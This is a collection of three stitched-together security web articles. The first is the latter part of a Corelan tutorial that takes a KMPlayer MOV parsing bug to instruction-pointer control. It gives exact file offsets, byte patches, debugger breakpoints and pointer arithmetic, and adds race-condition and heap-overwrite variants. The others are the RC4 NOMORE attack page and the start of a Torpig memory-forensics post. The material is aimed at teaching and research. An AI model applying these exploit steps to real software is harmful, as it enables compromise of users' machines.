to manipulate this instruction; at least not directly.  Also, as this is set
well outside of our function, it does not appear that by manipulating
different elements within this stsc block, we will influence our base write
address.  Just to confirm, let’s set the following breakpoints and observe the
results against our base, non-mutated sample.

[code]

    bp 005EF532 ".printf \"Base Write Address: %p\tChunk Number: %p\tSamples Per Chunk: %p\t Sample Description ID: %p \\n\",poi(poi(ebp-4)+68),ecx+1,esi,edi; gc"
[/code]

<img src='img/Temp2_7061.png' width='700' height='227' alt='windbg-40' />

So as we had assumed, the portion of our write address that we can possibly
control remains the same for each element in the stsc atom.  Originally I had
hoped that I would be able to write various sized chunks across a number of
sample-to-chunk elements in order to influence the write locations.  However
as you can see from the screenshot above, this method would be unsuccessful.

Now that we’ve confirmed that our base address is static during the course of
parsing our stsc atom, let’s check and see if the base address is modified
when parsing more than one stsc atom.  Typically, most MP4 and QT video files
contain at least 2 stsc atoms; 1 per track.  The sample provided contains two.

Let’s go ahead and move our payload from the first stsc atom to the second. 
We’ll go ahead and rewrite our payload trigger in the second stsc atom
beginning at offset 0xC98.

Just to be clear, I overwrote the following bytes:

**00 00 0F 62 00 00 00 01 00**

With:

**42 42 42 42 41 41 41 41 A9**

Now save the changes, open it up in the debugger and run it until our fault
occurs.  The first thing I checked was the base address of ebp-0×4 as this
eventually determines our write address.  I then checked the contents of
poi\(ebp-4\)+68 to see if we had overwritten the value supplied to our write
address.

<img src='img/Temp2_7060.png' width='368' height='242' alt='windbg-16' />

Here we can see that again, we have not overwritten the address provided to
our write instruction.  Although the addresses located at ebp-0×4 and
poi\(ebp-4\)+0×68 are different, we still appear to have no influence over the
offset of our writes.  Our payload of 0×41414141 is still 8-bytes away from
our write address.  Now although it does not appear to be very promising to
continue down this line of investigation, since the base address was changing,
I decided to check some other sample files that I had which contained more
than 2 stsc atoms.

Using the sample MOV file located here , I applied our payload inside the
first stsc atom beginning at offset 0x2DE.

> Replace the following bytes:
> **00 00 00 0A 00 00 00 01 00**
> With:
> **42 42 42 42 41 41 41 41 A9**
Let’s save the changes and observe it in our debugger.

<img src='img/Temp2_7035.png' width='668' height='268' alt='windbg-19' />

Here we can see that the base write address is in fact different from our
previous file.  What’s more important however, is that our block write and
base write address are now only 4 bytes away, rather than 8.  This tells us
that something within the file in fact does have an influence over the base
write address.  However we currently do not know which bytes are responsible
for this.  Instead of trying to determine exactly what is influencing our
address \(the correct way\), let’s go ahead and revert our changes and apply
our payload to the second stsc atom \(the lazy way\) beginning at offset
0x2D3C.

> I replaced the following bytes:
> **00 00 00 09 00 00 00 01 00**
> With:
> **42 42 42 42 41 41 41 41 A9**
Once again, save the changes and open under our debugger.

<img src='img/Temp2_7062.png' width='706' height='267' alt='windbg-20' />



Another interesting result.  Here we can see that the base write address has
again changed.  We also notice that our block write now occurs 12 bytes away
from our base write address.  What’s even more interesting is that our
faulting instruction has changed.  This is because we no longer taint
poi\(poi\(ebp-4\)+70\).

Also, I’ll only briefly touch on this now as we’ll be covering it later, but
take note of the write address.  Our fault occurs because we’re attempting to
write edi to 0×01691000.  This is beyond the bounds of our current memory
segments.  Remember, our write addresses began at 0x015F3240.  These writes
continued through that memory segment, into 0×01690000 until it finally
attempted to write to an inaccessible address starting at 0×01691000.

<img src='img/Temp2_7050.png' width='413' height='390' alt='windbg-21' />

Let’s revert our changes and apply our payload to the 3rd stsc atom beginning
at offset 0×5650.

> Replace the following bytes:
> **00 00 00 09 00 00 00 01 00**
> With:
> **42 42 42 42 41 41 41 41 A9**
<img src='img/Temp2_7057.png' width='713' height='460' alt='windbg-22' />

Now this is new.  We can see that our base write address occurs at 0x021C88D0
however, this value is stored at 0×01652938.  With this, we will never be able
to overwrite our base write address as it is stored in a completely separate
memory segment; more importantly a non-adjacent memory segment that occurs at
a lower memory address than where our writes occur.

With that a bust, let’s go ahead and revert our changes and supply our payload
to the final stsc block beginning at offset 0x7F73.

> Replace the following bytes:
> **00 00 00 03 00 00 00 01 00**
> With:
> **42 42 42 42 41 41 41 41 A9**
<img src='img/Temp2_7056.png' width='708' height='398' alt='windbg-17' />

Excellent\!  It appears that using this block we were in fact able to
overwrite the base write address.  This is fairly lucky considering that we
essentially brute forced the blocks until we found one with a correct base
write address rather than reversing the base write function.  Also know as,
the “Lazy Reversing Method” \(TM\).

Now that we control the base write address,  we are able to control both write
values \(esi and edi\) as well as eax at the time of our write.  This means
that we can now overwrite an arbitrary 4-byte value anywhere in memory.  And
with that, there are a number of ways that we can exploit this issue in order
to gain control of the instruction pointer.

With our write condition confirmed, the next thing we need to do is modify our
file so that our block iteration will exit immediately after we’ve overwritten
the pointer located at poi\(ebp-4\)+68.  Looking back at our write instruction
we can see that after 0x3CAE iterations, our write occurs.  If you recall
earlier when we disassembled this function in IDA,  after our write, ecx is
then incremented and a comparison is done between ecx and the value of the
“chunk number” element in the following “sample to chunk entry” minus 1.  If
the condition is met, our jump is taken and the block iteration completes.  So
in order to exit immediately after our write, we need to set the “chunk
number” to 0x00003CB0.

> Replace the following bytes beginning at 0x7F7B:
> **A9 00 00 00**
> With:
> **00 00 3C B0**
Next, we’ll need to find a list of writable function pointers.  Lucky for us,
we can use mr\_me’s \!heaper extension for immunity debugger.

Using the following command, we can check for all function pointers that are
located at a writable address.  For this example, we’ll only be checking
ntdll.dll.

[code]

    !heaper findwptrs –m ntdll.dll
[/code]

<img src='img/Temp2_7023.png' width='748' height='299' alt='heaper-1' />

Based on the results of this command we can see a number of function pointers
located at writable addresses.  Now the idea here is that we will overwrite
the function pointer to point to a location in memory we control \(i.e. where
our shell code resides\).  That way, when the function pointer gets called we
can then control the flow of execution and gain control over the instruction
pointer.  First, we need to do find one of these function pointers that gets
called after our arbitrary write occurs.

Now there’s a couple of ways we could accomplish this.  One method would
involve tracing the application after our write occurs and grepping for all
calls and jumps to determine if a call has been made to one of our writable
function pointers.  The problem with this is that it is slow and would require
us to trace all threads.  This can be very time consuming.  In this case, I’ve
found that it’s easier to just set breakpoints at the function pointers
identified by heaper and wait for one of our breakpoints to be hit.

First, we need to set a breakpoint to land at our block instruction at the
first occurrence of our tainted data.  We can do this by setting the following
breakpoint:

[code]

    bp 005EF51D ".if (@edi == 0x41414141) {} .else {gc}”
[/code]

<img src='img/Temp2_7058.png' width='712' height='122' alt='windbg-32' /> And
since we’ve overwritten a very large portion of memory, a number of access
violations will occur after we’ve overwritten the pointer at poi\(ebp-4\)+68. 
In order to avoid passing each of these access violations by hand, we need to
configure WinDbg to not alert us when one occurs.  If a non-continuable access
violation does occur, the process will terminate.  We can do this by going to
Debug > Event Filters and changing “Access Violations” to “Disabled”.

<img src='img/Temp2_7055.png' width='534' height='468' alt='windbg-33' />

Finally, we’ll delete our original breakpoint and set new breakpoints for each
of the writable function pointers identified by \!heaper.  For readability,
I’ve only set breakpoints for the first 6 addresses returned by \!heaper.

[code]

    bc *
    bp 0x7c91064d 
    bp 0x7c91a706
    bp 0x7c91a72c
    bp 0x7c91a744
    bp 0x7c91b227
    bp 0x7c923fb9
[/code]

<img src='img/Temp2_7045.png' width='704' height='320' alt='windbg-34' /> Now
we can see that a number of access violations have occurred after our
arbitrary write.  This is understandable considering how much memory we’ve
corrupted with our block writes.  However what is important to note is that we
do have a call that occurs at 0x7C91B227.  This instruction attempts to call
the pointer located at 7C97F32C.  Checking the \!address extension we can
confirm that this address is in fact writable.

<img src='img/Temp2_7028.png' width='451' height='103' alt='windbg-35' /> Next
we’ll need to modify our value to write address so that it points to
0x7C97F32C.  Let’s take another look at our write instruction.

<img src='img/Temp2_7018.png' width='707' height='121' alt='windbg-36' /> As
we had seen earlier, since we have control over eax \(“samples per chunk”\),
we can control our write address.

So with a simple bit of math:

[code]

    0xb60a (@edx) * 8 + 4 = 0x5B054
    0x7C97F32C – 0x5B054 = 0x7C9242D8
[/code]

With that, let’s modify our “samples per chunk” element to equal 0x7C9242D8

> To do so, at offset 0x7F77 in our file, replace:
> **41 41 41 41**
> With:
> **7C 92 42 D8**
Since this address is valid an access violation won’t occur.  In order to
confirm that our write does occur at the correct address we’ll need to first
set a breakpoint at the beginning of our block instruction, then freeze all
threads and set a breakpoint at our write \(0x005EF532\) when ecx == 0x3cae.

Our initial breakpoint:

[code]

    bp 005EF532 ".if (@esi == 0x42424242) {} .else {gc}"
[/code]

  
After our first breakpoint is hit, delete it and set the following breakpoint
on our write instruction when our ecx condition is met:

[code]

    bp 005EF532 ".if (@ecx == 0x00003cae) {} .else {gc}"
[/code]

  
Then freeze all other threads and run until our breakpoint is hit.

[code]

    ~g
[/code]

<img src='img/Temp2_7037.png' width='704' height='266' alt='windbg-37' />
Excellent.  Here we can see that we’ve successfully overwritten our function
pointer with our supplied value of 0×42424242.  Next we need to determine
where we want our call to land.  Now, I’m not going to go through the process
of embedding shell code into the MOV.  Initial tests showed that finding a
predictable location in memory to store our shell code proved difficult. 
This, I will leave up to you the reader.

> Hint: The ‘hdlr’ atom appears to be a good place to store fairly large
> amounts of data…
However, I will conclude this section by demonstrating EIP control.  For
simplicity, let’s try and find a place to land that contains software
breakpoints \(0xCC\) so that when our function pointer is called, the debugger
will halt execution.  We’ll use \!mona again to search for instances of
0xCCCCCCCC.

To search for 0xCCCCCCCC we can use the command below:

[code]

    !py mona find -o -s 0xCCCCCCCC -c
[/code]

<img src='img/Temp2_7031.png' width='723' height='366' alt='windbg-38' />
Looking at the results, we can see that a number of instances of our
0xCCCCCCCC string appear within non-operating system modules.  Our only
additional requirement here is that since we are using a call instruction and
will be executing the instructions located at our pointer, we need the memory
address to have execute permissions.   As such, we will use the second result,
0x00406AB4 as our pointer.  Let’s go ahead and modify our file so that the
“number of samples per chunk” element is equal to 0x00406AB4

> Replace the following values beginning at offset 0x7F73:
> **42 42 42 42**
> With:
> **00 40 6A B4**
Let’s save our changes and observe in the debugger.

<img src='img/Temp2_7030.png' width='705' height='321' alt='windbg-39' />
Excellent\!  Here we can see that we’ve successfully gained control over the
instruction pointer and landed at our desired location of 0x00406AB4 where our
software breakpoints have been executed. Exploitation accomplished\!

Now although we’ve already confirmed that this issue is exploitable, I’d like
to go ahead and briefly discuss 2 other \(less reliable\) methods for
exploiting the same issue.



#### Race Condition

As we had seen earlier when dealing with multiple threads, an artificial time
lapse created by our conditional breakpoint caused another function to attempt
to access our data before the original function was completed.  When non-
thread safe memory is accessed by multiple threads simultaneously, a race
condition can occur.  This will likely result in unexpected application
behavior.  Under certain circumstances, this may also create a potentially
exploitable condition.

<img src='img/Temp2_7040.png' width='660' height='218' alt='windbg-11' />

Now as we had mentioned, it was due to the extended period of time required to
execute our block and conditional breakpoints that caused our thread to slow
considerably.  In this situation, we had fabricated the race condition because
of the presence of our debugger.  From an exploitability point of view, if we
are able to somehow manipulate the application in order to slow the execution
of our block without the presence of a debugger, we may be able to create an
exploitable race condition.

Remember, our original faulting instruction occurred after 0xA5B5 iterations
of our loop.  The only reason that an access violation occurred at all was
because we had attempted to read from an address that didn’t exist.  If we
were able to bypass this exception and perform a significantly higher number
of iterations on our block, we may be able to create enough of a delay in
order to trigger the race condition without the use of a debugger.

To do this, we’ll need to perform our block writes using valid addresses
accessible by our target process \(KMPlayer.exe\).

First we’ll need to determine where we want our call to land if we’re
successful.  As with our previous example, let’s try to find an address that
will land us at a series of INT 3 breakpoints \(0xCC\).  Furthermore, we must
remember that the instruction we are targeting during our race condition is
calling a pointer.  Because of this, we’ll need to find an address that points
to our target value of 0xCC and a pointer to that address \(pointer to a
pointer\).

Thankfully corelanc0d3r’s \!mona extension for WinDbg can do this for us
automatically.

<img src='img/Temp2_7036.png' width='795' height='338' alt='windbg-42' />

Now before we move on I’d like to quickly discuss the results of our \!mona
command.  First of all, I ran the above command at the program’s entry point. 
The reason for doing so is that if I were to run this command during our block
iteration, \!mona would identify sections of memory that are dynamically
allocated and exist at that exact moment.  Meaning that when we run KMPlayer
the next time, the same data might not exist at that location.  As such, I
wanted to find pointers to pointers that would remain at a static location
throughout the course of execution.

Also, for those of you already familiar with exploiting stack buffer overflows
and the like, you may have noticed that our results only contain pointers
which exist in operating system libraries – which can be problematic.  The
issue with using operating system libraries is that depending on the operating
system version, patch level, or service pack, the pointers we’ve identified
will likely change.  Meaning that if we were to try this exploit on another
system with a varying patch level, our already unreliable exploit becomes even
less reliable.  For this example, I’ve chosen the pointer found in
shell32.dll.  The only reason for doing so is that in my tests it appeared to
be the most reliable address.  The exact reasons for its reliability is
unknown to me but it is likely that as we spray our pointers in memory, the
other addresses identified here cause the flow of execution to redirect from
our targeted call instruction.

Finally, you may have noticed the parameter “-offset 0×50”.  Remember that the
instruction we are targeting is a “call dword ptr \[edx+50\]”.  With that we
need to adjust our pointer so that its value is 0×50 bytes less than where we
intend to land. The -offsetlevel 1 parameter will make sure this offset is
automatically subtracted from the first level \(which means "pointer to
pointer"\).

Ok moving right along.  Now that we have a number of pointers to pointers that
will eventually land as at our desired code, let’s go ahead and place on of
these in our file as both the number of samples per chunk and sample
description ID fields.

In regards to the following sample-to-chunk element’s number of chunk field,
let’s specify a value of 0xFFFF.  This means that the block will perform at
least 65,535 iterations.  Hopefully this is enough to trigger our race
condition.

Just to be clear, I’ve replaced 12 bytes beginning at offset 0×291 with the
following values:

[code]

    7C F2 C9 1E 7C F2 C9 1E 00 00 FF FF
[/code]

Now save the file and load it up in WinDbg.

<img src='img/Temp2_7029.png' width='698' height='130' alt='windbg-24' />

Unfortunately it appears that we have performed too many iterations and that
our block writes have overlapped into a non-existent or inaccessible memory
segment.  We can verify this using the \!address extension.

<img src='img/Temp2_7039.png' width='641' height='296' alt='windbg-25' />
Looking at our access violation, we can see that an exception was triggered
after 0xcf73 iterations of our block.  Let’s go ahead and change that to
0xCF72.  That’s the maximum number of iterations that we can perform without
attempting to write into the adjacent memory block \(which triggers our
exception\).

Let’s save those changes and observe in our debugger.

<img src='img/Temp2_7038.png' width='668' height='298' alt='windbg-26' />

Excellent\!  It appears that we have successfully exploited our race condition
and landed at our chosen address space.  Once again, exploitability has been
confirmed.

> \*\*\*One additional note.  The reliability of this exploitation method is
> questionable at best.  Depending on the memory layout at the time of
> execution will affect whether or not a call to our pointer is made.  The
> operating system, patch level, and even file name and location of your
> sample file will likely affect the layout of allocated memory.  This exploit
> may not work exactly as demonstrated here \(if at all\).  If it does not
> work as described, check each call instruction that occurs against tainted
> memory.  Since the application fails to terminate after handling exceptions
> numerous calls are made against our tainted data \(in addition to the call
> dword ptr \[edx+50\]\).  One of these can be manipulated in order to gain
> control over EIP.


#### Heap Overflow?  – Well, not exactly…

First, a little bit of background.  During process execution, each thread is
allocated its own stack.  As each function within that thread is called,
additional memory is allocated on the stack to manage the arguments passed to
that function.  As those functions complete, their respective stack
allocations \(stack frames\) are removed \(by changing esp and ebp – the
actual memory does not get released\).  Stack allocations occur automatically
as a function of the compiler.  The compiler determines how much space is
required to handle all arguments and variables within a function and by way of
the function prologue, allocates the correct amount of space on the stack to
handle these arguments.

The heap however, is a higher level structure used to manage and store dynamic
allocations.  Each process by default is granted a single heap.  Depending on
the needs of the application, additional private heaps may be created. 
Allocations to these heaps can occur using a number of functions \(malloc,
HeapAlloc, new, etc\).

Consider this: an overflow typically occurs whenever an allocation has been
made, whether it be stack or heap, and the function which uses this block of
memory attempts to store more data than what has been allocated.  In regards
to our vulnerable function, we’re able write an arbitrary number of small,
contiguous blocks of data \(24 bytes\), consuming a significantly larger space
in memory.  It is reasonable to expect that if we had written such a large
region of memory, we would at some point overwrite the bounds of our
allocation.

With that said, let’s reexamine the memory segment being used by our
vulnerable function.  As we had demonstrated earlier, let’s set a conditional
breakpoint on one of our write instructions where our first instance of
tainted data is introduced.

[code]

    bp 005EF51D ".if (@edi == 0x41414141) {.printf \"edi==%p written to %p\\n\", edi, (esi+edx*8+8)} .else {gc}"
[/code]



Once our breakpoint is hit, let’s go ahead and pull up the summary information
for our write address.

<img src='img/Temp2_7019.png' width='703' height='162' alt='windbg-48' />

> Please note:  It seems that the latest version of Windbg that ships with the
> Windows 7 SDK \(recommended for Windows XP\) is in fact broken.  The address
> extension fails to output the correct “Usage” information.  In the
> screenshot above, I’m using the standalone version of Windbg \(11.1.404\).
Take note of the Usage field.  “RegionUsageIsVAD” identifies our memory
segment as one which was created by a call to VirtualAlloc
\(kernel32\!VirtualAlloc\).  To confirm, we can go ahead and and set a
conditional breakpoint on VirtualAlloc so that it breaks when the value
contained in eax after the function returns is equal to 0×01570000 \(our base
address\).

Also, here’s a breakpoint to output the return value of all calls to
VirtualAlloc:

[code]

    bp kernel32!virtualalloc "r $t1 = poi(esp) ; bp @$t1 /1 \" .if (@eax == 0x01570000) {kb} .else {gc}\";g"
[/code]



<img src='img/Temp2_7059.png' width='750' height='318' alt='windbg-44' />



[code]

    bp kernel32!virtualalloc "r $t1 = poi(esp) ; bp @$t1 /1 \" .printf \\\"VirtualAlloc allocation with base address %p\\\\n\\\", @eax; g\"; g"
[/code]

Before we continue, it’s important that we briefly discuss the behavior and
functionality of VirtualAlloc.

VirtualAlloc is low level function that is managed by the kernel in order to
allocate regions within a process’s virtual address space \(typically 64KB or
larger\).  Unlike the heap, memory regions reserved by VirtualAlloc lack any
type of higher level structure meaning that these segments are simply a flat
pool reserved to store data.  Heap allocations on the other hand are broken
into chunks.  Each chunk contains a header also known as metadata.  Typically,
when a heap chunk is overflowed, the adjacent heap chunk’s header or metadata
is corrupted.  It is often the corruption of this metadata that allows an
attacker to hijack the flow of execution.  If our write instructions are
occurring within a region allocated by VirtualAlloc, there is no structure
that we can target \(other than the data itself which we demonstrated in the 2
exploitation techniques above\).  However, if a heap resides at an address
adjacent to our VirtualAlloc region, we may be able to write data beyond our
allocation and into that adjacent heap.  Doing so may allow us to  corrupt the
heap base, or heap control structure.

> It’s important to note that in addition to the kernel, the heap manager also
> makes use of functionality similar to kernel32\!VirtualAlloc.  Whenever
> HeapAlloc attempts to allocate a block larger than 508KB \(or greater than
> the size specified by the VirtualMemoryThreshold\) it automatically calls
> ntdll\!NtAllocateVirtualMemory.  VirtualAlloc also uses this function in
> order to perform the raw allocation.  However, when managed by the heap, a
> pointer to this allocated block is stored in a structure called
> VirtualAllocdBlocks, located at offset 0×50 from the heap base. 
> Furthermore, these allocated chunks, unlike those allocated by VirtualAlloc,
> are preceded by 20-bytes of metadata and not simply a flat pool of memory.
> 
> You can use **\!py mona heap -t chunks -expand** to list all chunks,
> including the ones stored in the VirtualAllocdBlocks


With that said, there is still a way that we could use this vulnerability to
overwrite certain control data within the heap structure.  If we could find a
way to trigger our writes into a section of memory adjacent to a heap, we
could trigger enough iterations of our vulnerable function in order to write
into the heap structure of the adjacent block.

In all of our previous tests we’ve supplied our mutated file as an argument
when opening KMPlayer.exe in WinDbg.  In this case, we’ll first open KMPlayer
in our debugger, then manually open the mutated file within KMPlayer.  The
reason for this is because when we supply our mutated file as an argument to
KMPlayer, a static number of heaps and memory segments are created prior to
our file being processed.  When manually opening the file within KMPlayer, the
memory structure changes drastically.  In my observations, several additional
heaps are created and the memory locations used by many of the application
functions, such as parsing the stsc atom, have also changed.

For instance, take a look at what happens when you open this mutated file
manually within KMPlayer.

<img src='img/Temp2_7027.png' width='714' height='199' alt='windbg-49' />

Here we can see that our access violation has been triggered because we’ve
attempted to overwrite data into a section of inaccessible memory.  Take note
of the write address.  It appears that we’ve begun writing at some \(currently
unknown\) address until our access violation is triggered by attempting to
write to 0×01435010.  Now take a look at the output of the \!address
extension.  Although 0×01435010 does not exist, \!address provides us with the
next closest memory region: 0×01430000 – 0×0143500.  Looking at the usage
field identifies that this region belongs to the heap.

Before we check to see what we’ve corrupted within the heap, let’s take a look
at the value located at poi\(ebp-4\)+68  in order to determine the approximate
base address for our writes.

<img src='img/Temp2_7064.png' width='458' height='207' alt='windbg-50' />

With that we can see that our writes begin approximately at 0x013E7E90.  Let’s
take a look at the full output of the \!address extension.

<img src='img/Temp2_7021.png' width='504' height='291' alt='windbg-51' />

Here we can clearly see that our writes began at 0x013E7E90 and continued to
overwrite into the adjacent heap structure located at 0×01430000 until we hit
a section of inaccessible memory located at 0×01435010.  In order to determine
exactly what was overwritten in the heap, we can use the following “dt”
command.



[code]

    dt _HEAP 0x01230000
[/code]

<img src='img/Temp2_7052.png' width='593' height='502' alt='windbg-47' />

Excellent.  So here we can see that we’ve successfully overwritten portions of
the heap base.  Remember, we’re only overwriting 8 bytes in 24 byte intervals
so we don’t exactly have full control over where we write.  Depending on the
level of control we can gain over the base address of our writes, there are
several potential ways to exploit this issue by manipulating the heap control
structure.  The most immediate possible exploit vector would be a bitmap
flipping attack.

Now the reason I suggest this as the first possible exploit vector is due to
the control we already impose on the heap structure.  Take a look at the heap
base offset 0×158:

<img src='img/Temp2_7032.png' width='375' height='128' alt='windbg-52' />

Although the “dt” command does not define a name for this structure, this is
called the FreeListsInUseBitmap.  This structure is 16 bytes long \(128
bits\).  Each bit is associated with an entry on the FreeList \(128
entries\).  The heap will look at this structure when trying to determine if a
FreeList entry is available for allocation.  If the bit for a corresponding
list entry which contains no free entries is flipped, the Heap Manager will
attempt to allocate from this list using the forward link \(flink\) found in
the entries metadata.  This will cause a chunk to be allocated with a start
address on the heap base.  If you can control the data being stored in this
allocation, it is possible to overwrite the CommitRoutine found at offset
0x57C.  The pointer located at this address will then be called when the heap
attempts to commit more memory, therefore allowing an attacker to gain control
over the instruction pointer.

Now I know this is allot to comprehend especially if you’re not already
familiar with heap exploitation techniques.  And rather than \(poorly\)
attempting to reiterate the great work Brett Moore has already done, I suggest
you take a look at one of his \(many\) excellent papers; “Heaps About Heaps
\(July 2008\)” which can be found at the following address:

http://www.insomniasec.com/releases/whitepapers-presentations

And with that, I leave the rest up to you.  Good luck\!

> Quick tip:  In my test cases, the last 4 bytes \(32 bits\) of the
> FreeListsInUseBitmap is overwritten after 0×3020 iterations of our block.


### Conclusion

So as we’ve seen, a single bug can often times elicit a number of potential
execution-paths for exploitation – albeit some more reliable than others. 
Before you can determine whether a crash is exploitable or not, you need to
understand the root cause of the issue.  Placing your trust in tools such as
\!exploitable is unwise.  \!Exploitable is great in the fact that it can
quickly and easily classify crashes, sort them based on their uniqueness, and
make rough assumptions based on exploitability of an exception.  But in the
end, it is only capable of making those assumptions and should never be used
as a substitute for real understanding of an issue.

Good luck and happy bug hunting\!

© 2013, Corelan Team \(Jason Kratzer\) . All rights reserved.

### Share this:

  * Twitter13
  * Reddit
  * Facebook
  * Digg
  * Google +1
  * LinkedIn2
  * StumbleUpon

  *[February 26, 2013]: 15:15

# RC4 NOMORE

**Created:**| _7/15/2015 2:50:34 PM_  
---|---  
**Updated:**| _7/15/2015 2:50:34 PM_  
**Author:**| __  
**Tags:**| _ssl rc4_  
  

## Introduction

When you visit a website, and the browser's address bar contains a lock icon
<img src='img/Temp2_6679.png' />, the HTTPS protocol is used to protect your
communication with this website \(providing security and privacy\). HTTPS
supports several encryption techniques, one of them being the famous RC4
algorithm. At one point RC4 was used 50% of the time, with the latest estimate
being 30%. Our RC4 NOMORE attack exposes weaknesses in this RC4 encryption
algorithm. More precisely, in most situations where RC4 is used, these
weaknesses can be used to reveal information which was previously thought to
be safely encrypted.

In particular we show that an attacker can **decrypt web cookies** , which are
normally protected by the HTTPS protocol. Websites use these cookies to
identify users and authorize actions they perform. By obtaining the cookie of
a victim, an attacker can log into a website as if he were the victim. This
means the attacker can perform actions under the victim's name \(e.g. post
status updates and send messages\), gain access to personal information \(e.g.
to emails and chat history\), and so on.

The research behind the attack will be presented at USENIX Security.
Summarized, an attacker can decrypt a cookie within 75 hours. In contrast to
previous attacks, this short execution time allows us to perform the attack in
practice. When we tested the attack against real devices, it **took merely 52
hours** to successfully perform the attack. The attack consists of three
steps:

When the victim visits an unencrypted website, the attacker inserts malicious
JavaScript code inside the website. This code will induce the victim to
transmit encrypted requests which contain the victim's web cookie. By
monitoring numerous of these encrypted requests, a list of likely cookie
values can be recovered. All cookies in this list are tested until the correct
one is found.

## Demonstration

As a proof-of-concept we executed the attack in our lab, against a fictitious
website and victim \(to prevent harming real systems\). In our demonstration
the victim uses Internet Explorer, and we show how the attacker can take over
an account of the victim. This is the **first time** weaknesses in RC4, when
used in TLS and HTTPS, are exploited **against real devices**.

<img src='img/Temp2_6680.png' width='690' height='418.1166687011719' />

To successfully decrypt a 16-character cookie with a success probability of
94%, roughly 9⋅227 encryptions of the cookie need to be captured. Since we can
make the client transmit 4450 requests per seconds, this amount can be
collected in merely 75 hours. If the attacker has some luck, less encryptions
need to be captured. In our demonstration 52 hours was enough to execute the
attack, at which point 6.2⋅227 requests were captured. During the final step
of the attack, the captured requests are transformed into a list of 223 likely
cookie values. All cookies in this list can be tested in less than 7 minutes.

Our attack is **not limited to decrypting cookies**. Any data or information
that is repeatedly encrypted can be recovered. We focus on web cookies in
HTTPS as it nicely illustrates the weaknesses in RC4 and the power of our
attack.

## Paper

Our research paper behind the attack is All Your Biases Belong to Us: Breaking
RC4 in WPA-TKIP and TLS. In the paper we not only present attacks against
TLS/HTTPS, but also against WPA-TKIP. Our attack against WPA-TKIP takes only
an hour to execute, and allows an attacker to inject and decrypt arbitrary
packets. On this page we focused on HTTPS because it used more than WPA-TKIP.
The paper will be presented at USENIX Security 2015.

## Q&A

### How does this attack compare to previous attacks?

The first attack against RC4 as used in TLS was estimated to take more than
2000 hours. It required 13⋅230 encryptions of a cookie to be able to decrypt
it, and could make a victim generate 1700 requests per second \(with each
request containing the encrypted cookie\). We require only 9⋅227 requests, and
can make a victim generate 4450 requests per second. This means our attack
takes merely 75 hours to execute. We have also tested the attack against real
devices, while previous works only performed simulations.

The Bar Mitzvah attack relies on keystreams with predictable LSBs, which occur
once every 224 connections. Only the first 100 keystream bytes are known to be
weak. However, currently no systems are known which encrypt sensitive data at
these positions.

Another attack targets passwords encrypted by RC4 and relies on statistical
biases in the initial keystream bytes. It requires roughly 226 encryptions of
a password to be able to decrypt it. However, generating many requests in this
scenario proves to be difficult, as each request must be performed in a new
TLS connection. They estimated the attack takes between 312 to 776 hours to
execute.

Our work significantly reduces the execution time of performing an attack, and
we consider this improvement very worrisome. Considering there are still
biases which are unused, that more efficient algorithms can be implemented,
and better traffic generation techniques can be explored, we expect further
improvements in the future.

### Which weaknesses in RC4 does the attack abuse?

It relies on two types of statistical biases present in the keystream. The
first one is that two consecutive bytes are biased towards certain values.
These are commonly called the Fluhrer-McGrew biases. The second type of biases
is that a pair of consecutive bytes is likely to repeat itself. These are
called the Mantin's ABSAB biases. Both types of biases are combined in our
attack.

These biases allow us to decrypt _repeated_ plaintext such as cookies.

### What now?

The only good countermeasure is to stop using RC4. Nevertheless, we did
observe that generating the required amount of traffic can be a bottleneck
when executing the attack. Hence attacks can be made more expensive, though
not prevented, by making it more difficult to generate traffic. One option is
to prohibit browsers from making parallel connections when using RC4
\(normally multiple connections are made to load websites faster\). This
reduces the speed at which clients can make requests, meaning they generate
traffic more slowly. However, we stress that this would only increase the
execution time of attacks, and not prevent them.

### Is WPA-TKIP also vulnerable?

Yes. We can break a WPA-TKIP network within an hour. More precisely, after
successfully executing the attack, an attacker can decrypt and inject
arbitrary packets sent towards a client. In general, any protocol using RC4
should be considered vulnerable.

## Resources

We provide more detailed versions of several graphs in our paper:

  * Distribution of keystream bytes 258 to 513 \(per position\).
  * Distribution of keystream bytes 258 to 513 \(per value\).
  * Detailed graph of the Fluhrer-McGrew biases in initial keystream bytes \(figure 4 in the paper\).
  * Detailed graph of the influence of the first two keystream bytes \(figure 5 in the paper\).

While full keystream statistics are too big to put online, we do provide
datasets over most of our newly discovered biases:

  * Statistics of the initial 513 keystream bytes, computed using roughly 247.18 RC4 keys.
  * Statistics on the influence of the first keystream byte, and the influence of the second keystream byte, computed using roughly 244.19 RC4 keys. The format of these files, and code to easily read them, can be found in this Python file.
  * Statistics on the first 512 consecutive keystream bytes, computed using roughly 245.01 RC4 keys. The format of the file, and code to easily read it, can be found in this Python file.

# Perpetual Horizon: A Trip Down Memory Lane with Torpig, part 1

**Created:**| _12/20/2010 10:13:42 PM_  
---|---  
**Updated:**| _12/20/2010 10:13:52 PM_  
**Author:**| __  
**Tags:**| _Memory forensics Malware-analysis_  
  

  
A Trip Down Memory Lane with Mebroot/Torpig  
  
Perpetual Horizon Security Research  
  
These notes describe a basic analysis of a Mebroot/Torpig infection through
memory dump and observation. This particular Mebroot/Torpig infection took
place in Feb of 2010, and the box also contained some type of adware that may
pollute the results a bit. I am very interested in any comments or suggestions
about this process, and hope that the results of this analysis may be useful
in some way to increase detection or prevention or at least raise some
awareness. Plus, I think memory analysis is very interesting.  
  
I'm wanting to dig much deeper into the memory dump analysis but have been
unable to spend the time required. In the meanwhile, the blog sat dormant.
Therefore, this entry shall be part I. I intend for part II to cover the
memory analysis in more depth.  
  
As far as I am aware, a Torpig infection starts with the vulnerable system
being 0wned via a drive-by from the Neosploit exploit kit. Neosploit pushes
mebroot, which then reboots the system, infects the bootsector and activates
Torpig. Apparently Mebroot can be extended to use something other than Torpig
but I've not heard of that happening. Perhaps people that work with anti-
malware organizations full time would have more insight. Much detailed info
has been published elsewhere - see the references section if needed.  
  
A Torpig infection creates temporary files \(with system, hidden attributes\)
that can be enumerated in a variety of ways, the easiest of which is to use
the DOS ATTRIB command in the Windows/Temp directory on the infected box. The
files in this case are as follows:  
  
C:\Windows\Temp\$$$dq3e  
C:\Windows\Temp\$67we.$  
  
In the variety of published public research on Torpig, I determined that one
file apparently holds the config \(targeted banks and institution websites
that are to be sniffed and their information stolen\) and the other file
contains the data stolen from the box. These two files, plus a third file
$$yt7$$ have been discussed on various public forums as being related to
Torpig. Other files may show up. Some time back, the Torpig victim \(stolen
data\) file was in clear text and could be easily read. But now it is
encrypted or encoded in some manner. I believe this topic has been discussed
elsewhere.  
  
Using Process Monitor, I saw that services.exe had handles to these two
